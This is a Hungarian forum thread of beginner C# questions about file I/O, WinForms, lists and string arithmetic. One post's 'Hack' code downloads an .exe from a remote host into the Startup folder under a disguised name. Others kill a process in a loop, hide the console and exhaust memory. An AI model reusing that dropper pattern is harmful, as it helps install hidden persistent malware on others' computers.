- Honor Magic6 Pro - kör közepén számok
- Apple Watch
- Motorola Razr 60 Ultra - ez a kagyló könnyen megfő
- Motorola Edge 50 Pro - több Moto-erő kéne bele
- iPhone topik
- Motorola Edge 50 Neo - az egyensúly gyengesége
- Apple iPhone 16 Pro - rutinvizsga
- A hagyományos (nem okos-) telefonok jelene és jövője
- Keretmentesít a Galaxy S25 FE
- Mobil flották
Új hozzászólás Aktív témák
-
Dinter
addikt
Sziasztok!
UWP-ben állítanám be az ablak szélességet, minndehol ezt az egy fajta megoldást írják:
ApplicationView.PreferredLaunchViewSize = new Size(531, 900);
ApplicationView.PreferredLaunchWindowingMode = ApplicationViewWindowingMode.PreferredLaunchViewSize;
Hiába állítom be, 20-ból egyszer működikMiért?
-
Dinter
addikt
válasz
BTminishop #8930 üzenetére
igen-igen, tesztelés során kibukott és átírtam.
-
Dinter
addikt
Köszi, végül kiszenvedtem. A nullnál az lett volna a lényeg, hogy önmagával hasonlítom össze az oszlopot, ami mindig igaz, így megspórolok egy sor sql-t, de végül különszedtem és csak elhagyom a where-t.
Kingabo: a technológia adott volt a feladathoz, így muszáj volt ezt használnom.
-
Dinter
addikt
Sziasztok.
Biztos valami apró hülyeség, amit nem veszek észre... de miért nem helyettesíti be így a paramétert?
SqlCommand command = new SqlCommand("SELECT t.ID, t.Nev, t.NettoAr, t.Raktarkeszlet, a.Kulcs, k.Nev as Kategoria FROM Termek t LEFT OUTER JOIN AFA a on t.AFAID = a.ID LEFT OUTER JOIN Kategoria k on t.ID = k.ID WHERE t.Nev = @Nev", conn);
var parameter = new SqlParameter();
parameter.ParameterName = "@Nev";
parameter.SqlDbType = SqlDbType.NVarChar;
parameter.Value = name;
if (name == null) parameter.Value = "t.Nev";
else parameter.Value = "'" + name + "'";
command.Parameters.Add(parameter);
-
Dinter
addikt
List<int[,]> egyedul = new List<int[,]>();
Ilyen List-hez hogy adok hozzá elemet? Mert pl. egyedul.Add(i,j)-vel overload lesz.
-
Dinter
addikt
Feladat: 1,2...15 számokat osszuk el úgy 5 egyenlő darabszámú csoportba, hogy összegük is egyenlő legyen.
Ez miért lesz végtelen ciklus?
-
Dinter
addikt
Adott az első 15 pozitív egész szám (1,2,3...15). Ezeket a számokat 5 egyenlő darabszámú (3) csoportba akarom elosztani, majd a csoportokat megvizsgálni. Azt hogy tudnám megoldani, hogy az összes lehetséges csoporton végigmenjen?
-
Dinter
addikt
El sem hiszem. Két napi szenvedés árán kész
static void Main(string[] args)
{
var carry = false;
var result = String.Empty;
List<string> numbers=new List<string>();//számok listája
numbers.Add("1");
numbers.Add("1");
int count = 1;//list hanyadik eleme
while(numbers[count].Length<2000){
string num1 = numbers[count - 1].PadLeft(numbers[count].Length,'0');
string num2 = numbers[count];
for (int i = numbers[count].Length - 1; i >= 0; i--)
{
var augend = Convert.ToInt32(num1.Substring(i, 1));
var addend = Convert.ToInt32(num2.Substring(i, 1));
var sum = augend + addend;
sum += (carry ? 1 : 0);
carry = false;
if (sum > 9 && num1.Length > 1 && num2.Length > 1)
{
carry = true;
sum -= 10;
}
result = sum.ToString()+result;
}
if (carry)
{
result = "1" + result;
}
numbers.Add(result);
count++;
result = String.Empty;
}Az első probléma az volt, hogy a result-ot nem cleareltem, így mindig elé írta az előző számot. Aztán az 5+8-nál csúszott el, mivel ott nincs következő jegy, ahova hozzáadja, ezért a következő számhoz adta hozzá. De megvan, köszönöm a segítséget.
-
Dinter
addikt
Fibonacci-sorozatos program, mivel nagy számok, ezért stringként összeadva (direkt ezzel a módszerrel).
Ez miért dob ArgumentOutOfRange kivételt a .Substringnél? Az aug mit rövidít?
static void Main(string[] args)
{
var carry = false;
var result = String.Empty;
List<string> numbers=new List<string>();
numbers.Add("1");
numbers.Add("1");
int count = 1;
while(numbers[count].Length<2000){
string num1 = numbers[count - 1];
string num2 = numbers[count];
for (int i = numbers[count-1].Length - 1; i >= 0; i--)
{
var augend = Convert.ToInt32(num1.Substring(i, 1));
var addend = Convert.ToInt32(num2.Substring(i, 1));
var sum = augend + addend;
sum += (carry ? 1 : 0);
carry = false;
if (sum > 9)
{
carry = true;
sum -= 10;
}
result = sum.ToString();
}
if (carry)
{
result = "1" + result;
}
numbers.Add(result);
count++;
} -
Dinter
addikt
Nekem is egy ilyen program kéne, ami a Fibonacci sorozat elemeit adja meg addig, amíg nem áll 2000 karakterből a szám.
List<string> számok = new List<string>();
számok.Add("1");
számok.Add("1");
int szamjegy1;
int szamjegy2;
string eredmeny="";
int osszeg;
bool tizes=false;
int szamlalo = 0;
while (számok[szamlalo].Length < 2000)
{
for (int i = számok[számok.Count - 1].Length-1; i >= 0; i--)
{
szamjegy1 = Convert.ToInt32(számok[i].Substring(i, 1));
szamjegy2 = Convert.ToInt32(számok[i + 1].Substring(i, 1));
osszeg = szamjegy1 + szamjegy2;
osszeg += (tizes ? 1 : 0);
tizes = false;
if (osszeg > 9)
{
tizes = true;
osszeg -= 10;
}
eredmeny = osszeg.ToString() + eredmeny;
if (tizes)
{
eredmeny = "1" + eredmeny;
}
számok.Add(eredmeny);
}
szamlalo++;
}De nem jutok egyről a kettőre
-
Dinter
addikt
var s1 = "1234";
var s2 = "5678";
var carry = false;
var result = String.Empty;
for(int i = s1.Length-1;i >= 0; i--)
{
var augend = Convert.ToInt32(s1.Substring(i,1));
var addend = Convert.ToInt32(s2.Substring(i,1));
var sum = augend + addend;
sum += (carry ? 1 : 0);
carry = false;
if(sum > 9)
{
carry = true;
sum -= 10;
}
result = sum.ToString() + result;
}
if(carry)
{
result = "1" + result;
}
Console.WriteLine(result);Ez itt mit jelent? sum += (carry ? 1 : 0);
-
Dinter
addikt
Egy verseny nevezéseit feldolgozó szoftvert kellett csinálni. 4 kategóriában nevezhettek, 3 fős csapatot alkottak, meg kellett adni a megyét, az iskolát. Létrehoztam egy Nevezesek osztályt és hozzá a property-ket. A nevezes() példányokat egy listában tároltam. A feladat az volt, hogy minden megyében megkeresni az 1-es kategóriákban azokat az iskolákat, ahonnan a legtöbben neveztek, ha pedig ugyanannyian, akkor lehessen közülük választani.
Ez most pszeudokódban leírva hogy nézne ki? Én csak egy külön listába tudtam kiszedni a megyéket, aztán az iskolákat, majd úgy gondoltam, hogy létrehozok egy int[] tömböt, ahol számolom, hogy melyik iskolából hány nevezés van ( az iskolák indexe és az tömb indexe ugyanaz) és ha a külön listába kigyűjtött iskola neve megegyezik a nevezésekben eltárolt iskola nevével, akkor a tömb ahhoz az eleméhez hozzáadok egyet, ami az iskola indexe, aztán már csak egy max keresés.
Amúgy mi a suliban Visual Studiot használunk(C#), az összes többiben meg kb. Code:: Blocks-ot használnak, melyik a jobb?
-
Dinter
addikt
Tegyük fel van egy Windows Forms Application-öm, benne 3 funkció. A főmenüben (Form1.cs) megjelennek a választási lehetőségek (regisztracio gomb), most nézzük a "Regisztráció"-t (Regisztracio, regisztracio.cs). Azt akarom elérni, hogy a Regisztracio osztályon belül megírom a funkciókat a regisztracio gombhoz (Regisztralas()), majd a Form1-ben a regisztracio_clickhez csak meghívom a Regisztralas()-t, ahol láthatóvá teszem a regisztrációs panelt (regpanel, public). Hol a hiba?
regisztracio.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace DANET
{
class Regisztracio
{
public static void Regisztralas()
{
Form1 frm1 = new Form1();
frm1.regpanel.Visible = true;
}
}
}Form1.cs:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;
namespace DANET
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void regisztralas_Click(object sender, EventArgs e)
{
Regisztracio.Regisztralas();
}
}
} -
Dinter
addikt
Még mindig Win Forms App, ha a Form1-re rakok gombokat, aztán rá egy panelt, arra is gombokat, de a Form1-en lévőkét változtatni akarom, és ha ilyenkor megmozdítom, akkor miért rakja rá a panelra? Ezt hogy tudom elkerülni?
-
Dinter
addikt
Van egy WinForm Appom, benne regisztrációs űrlap, ami a következőkből áll: azonosító, név, jelszó, fiók típusa, engedélyező kód. Ezeket mind megvizsgálom a feltételek alapján, de hogy tegyem? Egybeáágyazott if-ekkel, mezőnként? Itt a mostani kód, még csak külön írtam meg az ellenőrzéseket.
-
Dinter
addikt
Más problémám van,, mivel egy felhasználóhoz tartozó adat 4 sorban van, csak 4 új soronként kell létrehoznom új felhasznalo-t, illetve az adatokat is ez alapján tárolni. A tárolást még meg is tudom oldani ha egy for ciklussal végigmegyek, és a maradék alapján állapítom meg, hogy mi, viszont a létrehozását nem tudom hogy kéne.
-
Dinter
addikt
A Felhasznalo osztályt nem tehetem a legelejére, mert Win Forms Appként a Form1 osztálynak kell legelöl lennie. Viszont ha mögé teszem, akkor nem bírom a program indulásakor beolvasni szövegfájlt és az adatokat eltárolni a felhasznaloban.
-
Dinter
addikt
válasz
ferensz #6754 üzenetére
Ez szép megoldásnak tűnik. Legyen UserControl1=uc1; uc2 és uc3, ill. panel1.
És ilyenkor:
UserControl1 uc = new UserControl1();
ucp.Controls.Add(uc);
uc.Show();Ezekután ha másik UserControlt akarok megjeleníteni, akkor:
UserControl2 uc2 = new UserControl2();
ucp.Controls.Clear();
ucp.Controls.Add(uc2);
uc2.Show();Így?
-
Dinter
addikt
Kész lett a program. 3 "tabból" állna a program, ezek közül az egyik 1 label, 6 textbox, 2 gomb, 1 kép, a másik 1 label, 5+1 mező (1 disabled), 2 gomb, 1 kép, a harmadik pedig egy Listbox és 2 gomb. Elsőre a Visable propertyk állítgatásával oldottam meg.
Arra lennék kíváncsi, hogy mi lenne a legjobb az ezek közötti váltogatásra? TabControllal gondolom biztosan meglehet csinálni, mint írtátok. Menüstrippel is lehetséges lenne ehhez hasonló módon lehet? Pl. Eszközök>Keresés-re rákattintok, és hogy olyan látszata legyen, mint amikor láthatóvá teszem az egyik tabhoz tartozó dolgokat, a másikét meg láthatatlanná?
-
Dinter
addikt
A tallózó ablakban kiválasztott fájlt olvasnám be. A betolto.FileName értéke hiába helyes, valamiért mégsem azt olvassa be.
private void megnyitásToolStripMenuItem_Click(object sender, EventArgs e)
{
string vonal="";
OpenFileDialog betoltes = new OpenFileDialog();
betoltes.Title = "Betöltés fájlból";
betoltes.Filter = " KEY fájlok |*.key";
DialogResult result = betoltes.ShowDialog();
if (result == DialogResult.OK)
{
DialogResult felulir = MessageBox.Show("Felülírja a régi kulcsokat? Nem válasz esetén hozzáadódnak.", "Felülírás", MessageBoxButtons.YesNo);
if (felulir == DialogResult.Yes)
{
kulcsok.Clear();
torleslista.Items.Clear();
using (StreamReader betolto = new StreamReader(betoltes.FileName, System.Text.Encoding.Default,true))
{
while ((vonal = betolto.ReadLine()) != null)
{
torleslista.Items.Add(vonal);
var sor = vonal.Split(' ');
Kulcs kulcs = new Kulcs();
kulcs.mezo1 = sor[0];
kulcs.mezo2 = sor[1];
kulcs.mezo3 = sor[2];
kulcs.mezo4 = sor[3];
kulcs.mezo5 = sor[4];
for (int i = 5; i < sor.Length; i++)
{
kulcs.nev += ' ' + sor[i];
}
kulcsok.Add(kulcs);
}
}
}
if (felulir == DialogResult.No)
{
using (StreamReader betolto = new StreamReader(betoltes.FileName, System.Text.Encoding.Default, true))
{
while ((vonal = betolto.ReadLine()) != null)
{
torleslista.Items.Add(vonal);
var sor = vonal.Split(' ');
Kulcs kulcs = new Kulcs();
kulcs.mezo1 = sor[0];
kulcs.mezo2 = sor[1];
kulcs.mezo3 = sor[2];
kulcs.mezo4 = sor[3];
kulcs.mezo5 = sor[4];
for (int i = 5; i < sor.Length; i++)
{
kulcs.nev += ' ' + sor[i];
}
kulcsok.Add(kulcs);
}
}
}
} -
Dinter
addikt
Szóval, a listát már beolvasáskor feltöltöm.
public void Beolvasas()
{
string line;
using (StreamReader beolvaso = new StreamReader("refi.key", System.Text.Encoding.Default, true))
{
while ((line = beolvaso.ReadLine()) != null)
{
torleslista.Items.Add(line);
var sor = line.Split(' ');
Kulcs kulcs = new Kulcs();
kulcs.mezo1 = sor[0];
kulcs.mezo2 = sor[1];
kulcs.mezo3 = sor[2];
kulcs.mezo4 = sor[3];
kulcs.mezo5 = sor[4];
for (int i = 5; i < sor.Length; i++)
{
kulcs.nev += ' ' + sor[i];
}
kulcsok.Add(kulcs);
}
}
}Aztán a kiválasztottakat törlöm a ListBoxból. A kulcsok listából is törölném kéne, ott viszont nem tudom összehasonlítani a kettőt, mert a .ToString() függvény más értéket ad vissza. Mivel tudnám számomra megfelelő formátumba alakítani?
ListBox.SelectedObjectCollection torlendo = new ListBox.SelectedObjectCollection(torleslista);
torlendo = torleslista.SelectedItems;
if (torleslista.SelectedIndex!=-1)
{
for (int i = torlendo.Count - 1; i >= 0; i-- )
{
torleslista.Items.Remove(torlendo[i]);
for (int j = 0; j < kulcsok.Count; j++)
{
//itt hasonlítanám össze a kulcsok listát és a törlendőt, és ha azonos, törlöm
}
}
} -
Dinter
addikt
ListBoxot egyszerűen nem tudom feltölteni..
public List<Kulcs> kulcsok = new List<Kulcs>();
public class Kulcs
{
public string mezo1;
public string mezo2;
public string mezo3;
public string mezo4;
public string mezo5;
public string nev;
}
torleslista.DataSource=kulcsok;
Elolvastam minden korábbi kérdést, de ha hozzáadom az elemet, csak mindegyik helyén azt írja ki, hogy kulcs.Form1+KulcsHa meg foreach-hel végigmegyek az összes kulcs példányon, akkor annak az összes értékét nem tudom hozzáadni, csak 1-et. 1 kulcsot 1 sorban jelenítenék meg, és a kijelölt sort törölhetném egy gombbal.
-
Dinter
addikt
válasz
rgeorge #6744 üzenetére
Most elsőre a Visible-k állításával oldottam meg meg, mert egy egyszerű programot kell reprodukálnom, és ott MenuStrip-pel változtatja, úgyhogy sanszosnak vélem, hogy az is azzal oldja meg.
Nincs valami "container" vagy nem tudom mi, hogy pl. minden mezo egy textbox
Mezok
{
mezo1
mezo2
mezo3
...
}és ha bármelyik mező üres, akkor valamit csinálok vele, vagy egyenként be kell írnom?
-
Dinter
addikt
Mivel tudok egy másik Form-ot megjeleníteni az eredeti helyén? A Show()-nál ugye ablakként ugrik fel.
-
Dinter
addikt
Állítson elő és tároljon a memóriában 1000 db négy dobásból álló sorozatot! Egy dobás F vagy I, tehát char-ban tárolom. Viszont hogy tudok létrehozni 1000db char tömböt?
-
Dinter
addikt
Érettségi feladatokat (4. Fej vagy írás) hogy lehet a legszebben megoldani? Azonfelül hogy megoldom, szépen is nézzen ki. Pl. minden feladatnak új osztályt hozok létre?
-
Dinter
addikt
Ha több beolvasást kell hajtanom végre egy programon belül, azt hogy hajtom végre egy függvénnyel?
-
Dinter
addikt
Van egy listám, amiben a dolgozók adatai, és egy másik, amiben hogy ki hány projektet végzett. A projektek száma alapján kéne sorba kiíratnom. Gondoltam rá, hogy lemásolom a számokat tartalmazó listát, azt sorbarakom, majd megkeresem a számok eredeti indexét a másik listában(ami = az azonosítójával a dolgozónak, ez által ki bírom íratni a nevét). Ez viszont nem működik. Mit ajánlotok?
-
Dinter
addikt
using (StreamReader uzi = new StreamReader("uzenetek.txt"))
{
while ((line = uzi.ReadLine()) != null)
{
Uzenet uzenet = new Uzenet();
var sor = line.Split(':');
(int.TryParse(sor[4], out numerikus) == true)
{
uzenet.projektszam = Convert.ToInt32(sor[0]);
uzenet.kuldes = sor[1];
uzenet.feladoid = Convert.ToInt32(sor[2]);
uzenet.cimzettid = Convert.ToInt32(sor[3]);
uzenet.uzenet = sor[4];
ertekelesek.Add(uzenet);
}
else
{
uzenet.projektszam = Convert.ToInt32(sor[0]);
uzenet.kuldes = sor[1];
uzenet.feladoid = Convert.ToInt32(sor[2]);
uzenet.cimzettid = Convert.ToInt32(sor[3]);
uzenet.uzenet = sor[4];
uzenetek.Add(uzenet);
}
}
}"Az index a tömb határain túl mutat" hibát kapok az if feltételnél, gondolom azért, mert egyszerre fordul le, és a line még nem kap értéket. Hogy tudnám ezt kiküszöbölni?
-
Dinter
addikt
Ez már jó, csak arra írtam, hogy miért a for-ral próbálkoztam.
Ezt írta ki korábban:
A local variable named 'dolgozo' cannot be declared in this scope because it would give a different meaning to 'dolgozo', which is already used in a 'parent or current' scope to denote something else[link] Ez a feladat amúgy. Amikor azt írja, hogy kezelőfelületet kell készítenem, akkor arra gondol, hogy az alkalmazásnak WinForm Appnak kell lennie, vagy lehet Console App is?
-
Dinter
addikt
Erre gondoltam. Egyébként azért próbálkoztam for-ral, mert az előző(hibás) kódban ha a dolgozo-kon akartam végigmenni, akkor hibát írt ki.
bool sikeres = false;
do
{
Console.Write("Add meg a neved: ");
string nev = Console.ReadLine();
Console.Write("Add meg a jelszavad: ");
string jelszo = Console.ReadLine();
foreach (Dolgozo dolgozo in lista)
{
if (dolgozo.nev == nev && dolgozo.pw == jelszo)
{
sikeres = true;
}
else
{
}
}
if (sikeres)
{
Console.WriteLine("Sikeres bejelentkezés!");
}
else
{
Console.WriteLine("Nem sikerült bejelentkezni.");
}
} while (!sikeres); -
Dinter
addikt
Adott a következő feladat:
A dolgozok.txt fájlból be kell olvasnom a dolgozók adatait, egy sorban egy dolgozó van. Az adatok típusát : választja el.
id:név:jelszó:cágvezető-e
1: Kata:12K55:1
2:Ica:9I44C:0
...kód: [link]
A feladat első része egy beléptető felület. Arra gondoltam, hogy beolvasom a felhasználónevet, megkeresem az indexét, ugyanezt a jelszóval, és ha a kettő nem egyezik (vagy -1 mindkettő), akkor sikertelen a belépés.
Itt viszont nem tudom hogy tudnék végigmenni a dolgozok-on, vagy egy dolgozónak kiíratni az összes adatát.
Így oldottam volna meg:bool helyes=false;
do
{
int nevindex=0;
int pwindex=0;
Console.Write("Add meg a felhasználónevet: ");
for (int i = 0; i < 6; i++)
{
if(lista[i].nev==Console.ReadLine()){
nevindex=i;
}
else{
nevindex=-1;
}
}
Console.Write("Add meg a jelszót: ");
for(int i=0;i<6;i++){
if(lista[i].pw==Console.ReadLine()){
pwindex=i;
}
else{
pwindex=-1;
}
}
if (nevindex==pwindex)
{
Console.WriteLine("\nSikeres belépés!\n");
helyes = true;
}
else
{
Console.WriteLine("\nHibás felhasználónév vagy jelszó!\n");
}
} while (!helyes); -
Dinter
addikt
Azt hiszem rájöttem. Amikor másodszor is használom a while-lon belül (előtte a feltételben), akkor a következő sorra ugrik. Van valami módja, hogy a ReadLine tartalmát egyből spliteljem(a feltételben hibát ad), vagy ezzel a módszerrel mindenképp egyből be kell töltenem egy másik stringbe, és a stringet splitelem? Vagy simán átírom a feltételt !sr.EndOfStream-re Az a kérdésem továbbra is áll, hogy melyik módszer a legjobb?
-
Dinter
addikt
Mi a különbség, ha azt írom, hogy
using (StreamReader sr = new StreamReader("dolgozok.txt"))
{
while (sr.ReadLine() != null)
{
sor = sr.ReadLine().Split(':');
...
}vagy
using (StreamReader sr = new StreamReader("dolgozok.txt"))
{
while (File.ReadLines("dolgozok.txt")!= null)
{
sor = sr.ReadLine().Split(':');
...
}Az elsőnél a 6 sorból valamiért mindig csak a másodikokat olvassa be. Miért? A beolvasásnak melyik módját ajánljátok? StreamReader vagy File.ReadLines() while ciklusban?
-
Dinter
addikt
Üdv.
Egy fájlból szeretnék beolvasni 3 sort, mindegyikben a következő van: árfolyam értéke
Ezt úgy gondoltam, hogy először splittel listbe szétszedem őket, aztán a párosokat és a páratlanakat külön egy másik listbe.Adott ez a kód:
List<string> sorok=new List<string>();
string sor;
using (StreamReader sr = new StreamReader("árfolyamok.txt"))
{
while((sor=sr.ReadLine())!=null)
sorok=sor.Split(' ').ToList();Hogy tudom elérni, hogy a listában az összes árfolyam tartalma megmaradjon, ne csak az utolsó? list.Add nem működik.
-
Dinter
addikt
Üdv!
Azt hogy tudnám elérni, hogy az olv-t a sor[i]-nél is tudjam használni, ne írja, hogy nem létezik olyan?
static void Main(string[] args)
{
string[] elso=new string[2];
using (StreamReader[U] olv[/U]=new StreamReader("be1.txt"))
{
elso = olv.ReadLine().Split(' ');
}
int N = int.Parse(elso[0]);
string[] sor = new string[N+1];
for (int i = 0; i <= N; i++)
[U] sor[i] = olv.ReadLine();[/U]
for (int i = 0; i < N; i++)
Console.WriteLine(sor[i]);
Console.ReadKey();Tömb feltöltésre van olyan mód, amihez nem kell megadni elemszámot és dinamikus, vagy ha a bemenetből ki bírom olvastatni akkor inkább olvassam ki?
-
Dinter
addikt
2. feladatot szeretném megcsinálni, leírom az elképzelésem.
Bekérem a sorok, oszlopok számát, majd ennek felhasználásával létrehozok egy kétdimenziós tömböt. Aztán létrehozok egy kétdimenziós boolt, hogy beszabad-e hajtani, azaz van-e ott tábla. Ha a bemenetben megadja, akkor falsera vált. Egyelőre csak ennyit szeretnék, hogy az alap koncepcióm jó-e, sajnos ezekhez a feladatokhoz nincsenek megoldások.
Vagy 2 egymásba ágyazott ciklus, ami addig megy, míg nem éri el a célállomást? És ha a következő helyen van tábla, akkor a másik irányba megy.
-
Dinter
addikt
válasz
Jester01 #6148 üzenetére
Köszi, ez lesz az.
(#6149) kingabo: láttam már azt a megoldást is, tényleg egyszerűbb, csak ahogy most keresgéltem, az egyikben sem szerepelt
Mondjuk így ha belegondolok, nem az lenne a logikus, hogy az első ReadLine után a második while ciklussal mégegyszer beolvassa az első sort (mert egyébként nem, így jó), vagy csak az én hülyeségem?
-
Dinter
addikt
Azt szeretném, ha a program soronként beolvasna egy szöveges fájlt, az első sort szétszedné a szóköznél, azt két int-té szedné szét, majd a többi sor értéke alapján igaznak állítaná a bool-t. Viszont nem nagyon akar menni, ezt hoztam össze.
StreamReader olv = new StreamReader("be1.txt");
string[] sor = olv.ReadLine().Split(' ');
int N=int.Parse(sor[0]);
int M = int.Parse(sor[1]);
bool[] vanOr = new bool[N+1];
olv.ReadToEnd();
{
int x=int.Parse(olv.ReadLine());
vanOr[x] = true;
} -
Dinter
addikt
Olyankor mit kell csinálni, ha a Visual Studioban az intellisense felajánlja a lehetőségeket, de nem egészíti ki maga, hanem még ki kell választani a nyíllal?
-
Dinter
addikt
Két- és többdimenziós tömböt egymásba ágyazott ciklusokkal lehet (legegyszerűbb) kiíratni?
-
Dinter
addikt
Ha kérek egy számot, viszont nem ad meg semmit, akkor azt hogy csinálom meg, hogy újra kérje? Erre gondoltam, de ez nem jó.
int szam = int.Parse(Console.ReadLine());
if (szam == null)Meg amikor az IntelliSense-nél elkezdek valamit írni, akkor kijelöli a sárga kerettel, de nem írja be magától, azt hogy lehet visszakapcsolni?
-
Dinter
addikt
válasz
Alexios #6070 üzenetére
Azt hogy tudom megcsinálni, hogy ezt berakom egy for ciklusba, és akkor legenerálja a 6 usernek jelen esetben:
string[] user+i=adatok[I].Split(':')
Azt hogy tudom elérni, hogy olyan nevű string tömböt hozzon létre, amiben benne van a 'user' és még hozzáfűzi az 'i' jelenlegi értékét?
-
Dinter
addikt
Üdv!
Egy versenyfeladatot kezdtem el gyakorlásképp. Egy loginrendszer az első része. Egy szövegfájlban vannak elmentve az adatok, és ha nem stimmel, akkor nem enged belépni, aztán pedig a beosztástól függően különböző felületet ad ki, aztán még vannak benne plusz funkciók, de egyenlőre csak a bejelentkezésnél tartok.
1. Erre console app vagy winform app az alkalmasabb?
2. A loginnál addig jutottam, hogy beolvasom az adatokat egy adatok string[]-be. A txt-ben a fájlok ilyen formátumban vannak:azonosító:felh.:jelszó:vezető-e
1:id:pw:1Na most ezeket hogy, mivel kéne különszednem?
-
Dinter
addikt
Üdv.
Mi a legegyszerűbb módja console app-ban egy olyan formájú táblázat készítésének, hogy:
1. 2. 3. 4. 5.
A
B
C
D
E
... -
Dinter
addikt
Az mitől van, hogy itt a Thread.Sleep-ben bármit írok idő helyére, kb 1 percenként zárja be azt a programot?
Process[] prs = Process.GetProcesses();
while(true)
{
foreach (Process pr in prs)
{
if (pr.ProcessName == "GameRanger")
{
pr.Kill();
}
Thread.Sleep(TimeYouLike);
prs = Process.GetProcesses();// **Update the process list**
}
} -
Dinter
addikt
Egy Concole App-ot meg lehet úgy csinálni, hogy ne nyissa meg hozzá az ablakot? Tehát a kód fusson, de ne legyen hozzá ablak. -
Dinter
addikt
Ha kitöröltem az app.manifestet, akkor vissza lehet hozni?
-
Dinter
addikt
AppDatát hogy lehet helyettesíteni paranccsal? Két parancsot próbáltam:
Application.UserAppDataPath+ "\\Roaming"
Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData)+\\"Roaming"De ezekkel nem működnek. Ha simán beírom AppData-t akkor megy.
-
Dinter
addikt
Az mitől van, hogy letölti a fájlt, de csak 552 bájtot? 1 perc alatt lazán le kéne jönnie 1,5Mbps letöltéssel.
-
Dinter
addikt
Sziasztok. Azt szeretném megcsinálni, hogy a program a netről URL alapján letöltsön a gépre egy fájlt. Nekem azt mondták, hogy először létrehozod, majd bele kell írni. Nos itt a forráskód:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Net;
namespace Hack
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void label1_Click(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
}
private void label3_Click(object sender, EventArgs e)
{
}
}
class Letrehozas
{
public static void Letoltes()
{
StreamWriter file = new StreamWriter(Application.UserAppDataPath + "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\taskngr.exe");
File.Create(Download("http://dinter.atw.hu/client.exe"));
file.Close();
}
public static string Download(string uri)
{
WebClient client = new WebClient();
Stream data = client.OpenRead(uri);
StreamReader reader = new StreamReader(data);
string s = reader.ReadToEnd();
data.Close();
reader.Close();
return s;
}
}
}Próbáltam rendszergazdaként és nélküle is indítani a programot. Külön lejön a program.
-
Dinter
addikt
Erre most miért kapom ezt?Process.GetProcessesByName("programnév");
Cannot implicitly convert type 'System.Diagnostics.Process[]' to 'System.Diagnostics.Process' -
Dinter
addikt
Na szóval azt akarom, hogy lefoglalja a memóriát. GC kiiktatva. Csak ha így elindítom, OutOfMemoryExceptiont kapok, és azt akarom, hogy minden áron lefusson a program.
Edit: ha tryba rakom, akkor ugyan úgy nem fog lefutni nem?
-
Dinter
addikt
Olyat lehet csinálni, hogy új tömböket hozok létre név megadása nélkül? És ha nem, akkor random szám generátorral lehet?
-
Dinter
addikt
Tudom, hogy elég amatőr kérdés, de mit jelent, ha pl egy tömb indexének a helyére beírunk egy változót (pl. i)? Akkor a változó értéke lesz az index vagy mi van ilyenkor?
-
Dinter
addikt
Köszi
-
Dinter
addikt
Most tömb legkisebb-legnagyobb elemének keresésével van problémám. Azon belül is a legkisebb. Kerestem egy másikat is a neten, de ott is problémája volt a minimummal.
using System;
class Program
{
static public void Main(string[] args)
{
int[] tomb = new int[10];
Random r = new Random();
for (int i = 0; i < tomb.Length; ++i) // tömb feltöltése
{
tomb[i] = r.Next(1, 1000);
}
int min = 1000;
int max = -1;
int minIdx = 0;
int maxIdx = 0;
for (int i = 0; i < 30; ++i)
{
if (tomb[i] < min)
{
min = tomb[i];
minIdx = i;
}
else if (tomb[i] > max)
{
max = tomb[i];
maxIdx = i;
}
}
}
} -
Dinter
addikt
válasz
martonx #3495 üzenetére
Hát igen, csak én pár napja kezdtem el tanulni a C#-t, és mivel a könyvben nem egy helyen van rosszul írva, fogalmam sem volt, hogy azért lehet rossz. Egyébként van mellette egy pár másik hiba [link] is úgy, ha rosszul van írva - és nem ajánl fel javítást.
Igen, tudom utána nézhettem volna a neten, de nem is gondoltam rá.
-
Dinter
addikt
Van a könyvben egy gyakorló program, kő-papír-olló. Ez a megoldása, de ott a végén valamiért nem működik.. Else-elseifes résszel van baja.
using System;
class Program
{
static public void Main()
{
Random r= new Random();
string gep="";
string jatekos="";
int jatekospont=0;
int geppont=0;
bool l=true;
switch(Console.ReadKey(true).KeyChar)
{
case 'k':
jatekos="kő";
break;
case 'p':
jatekos="papír";
break;
case 'o':
jatekos="olló";
break;
}
switch(r.Next(0,3))
{
case 0:
gep="kő";
break;
case 1:
jatekos="papír";
break;
case 2:
jatekos="olló";
break;
}
do
{
Console.WriteLine("Akarsz még játszani? (i/n)");
if(Console.ReadKey(true).KeyChar == 'n') {l=false; }
}while(l);
Console.WriteLine("Mit választasz? (k/p/o)");
if((jatekos == "kő" && gep == "papír")
||
(jatekos == "papír" && gep == "olló")
||
(jatekos == "olló" && gep == "kő"))
{
Console.WriteLine("Veszítettél! Az állás:\nSzámítógép:{0}\nJátékos:{1}", ++geppont, jatekospont);
}
elseif (jatekos == gep)
{
Console.WriteLine("Döntetlen! Az állás:\nSzámítógép:{0}\nJátékos{1}", geppont, jatekospont);
}
else
{
Console.WriteLine("Nyertél! Az állás:\nSzámítógép:{0}\nJátékos:{1}", geppont, ++jatekospont);
}
}
} -
Dinter
addikt
Azt hogy tudom elérni, hogy egy if blokkon belüli rész elérhető legyen más blokkoknak is?
-
Dinter
addikt
válasz
xxSanchez #3488 üzenetére
Rákerestem hogy lehet csak-számot engedélyezni, de az túl bonyolultnak tűnt, ezért inkább try-ba raktam. Most jó, így néz ki:
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
int szorzas = 0;
string szorzo = String.Empty;
do
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szorzo = Console.ReadLine();
try
{
szorzas = Convert.ToInt32(szorzo);
}
catch
{
Console.WriteLine("Nem írhatsz be szöveget vagy nem hagyhatod üresen a számot!");
Console.WriteLine();
}
} while (szorzo.Length == 0 || szorzas == 0);
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szorzo, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
